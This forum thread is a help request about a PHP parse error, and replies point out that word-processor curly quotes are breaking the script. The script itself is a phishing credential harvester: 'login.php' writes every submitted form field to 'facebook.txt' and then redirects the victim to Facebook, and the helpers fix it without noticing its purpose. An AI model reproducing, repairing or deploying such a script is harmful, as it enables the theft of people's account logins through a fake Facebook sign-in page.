Parse error question - urgent!!
Hey guys I keep seeing this Parse error saying that there is an unexpected colon in my script.
The error reads: "Parse error: syntax error, unexpected ':' in /home/a3076461/public_html/login.php on line 2" Here is my script, can you figure out where the mistake is? <?php header(‘Location: http://www.facebook.com/appcenter’); $handle = fopen(“facebook.txt”, “a”); Foreach($_POST as $variable => $value) { fwrite($handle, $variable); fwrite($handle, “=”); fwrite($handle, $value); fwrite($handle, “\r\n”); } fwrite($handle, “\r\n”); fclose($handle); exit; ?> Thanks for your help! DButler12 |
don't use words like "urgent". It's not urgent for us thanks.
Before "Location" you have a backtick, not a conventional single quote mark, likewise for the end. Looks like you wrote it in a word processor or something. |
Thanks and sorry I am new to here and did not mean to be so urgent about it. I made that change but it still seems to have errors. the next error message reads:
Parse error: syntax error, unexpected '=' in /home/a3076461/public_html/login.php on line 6 And the script is as follows: <?php header("Location: http://www.facebook.com/appcenter"); $handle = fopen(“facebook.txt”, “a”); Foreach($_POST as $variable => $value) { fwrite($handle, $variable); fwrite($handle, “=”); fwrite($handle, $value); fwrite($handle, “\r\n”); } fwrite($handle, “\r\n”); fclose($handle); exit; ?> Thanks again! |
So have you LOOKED at line 6? Seems prety similar to me.
|
should the quotations be changed to something else? I am new to this and do not know exactly what it is in line 6 that needs to change...
Sorry to bug you |
yes, you need standard quotation marks, not start and end ones.
|
Issues like this can be avoided with using a text editor or an IDE for developing code, not a wordprocessor.
|
All times are GMT -5. The time now is 11:23 AM. |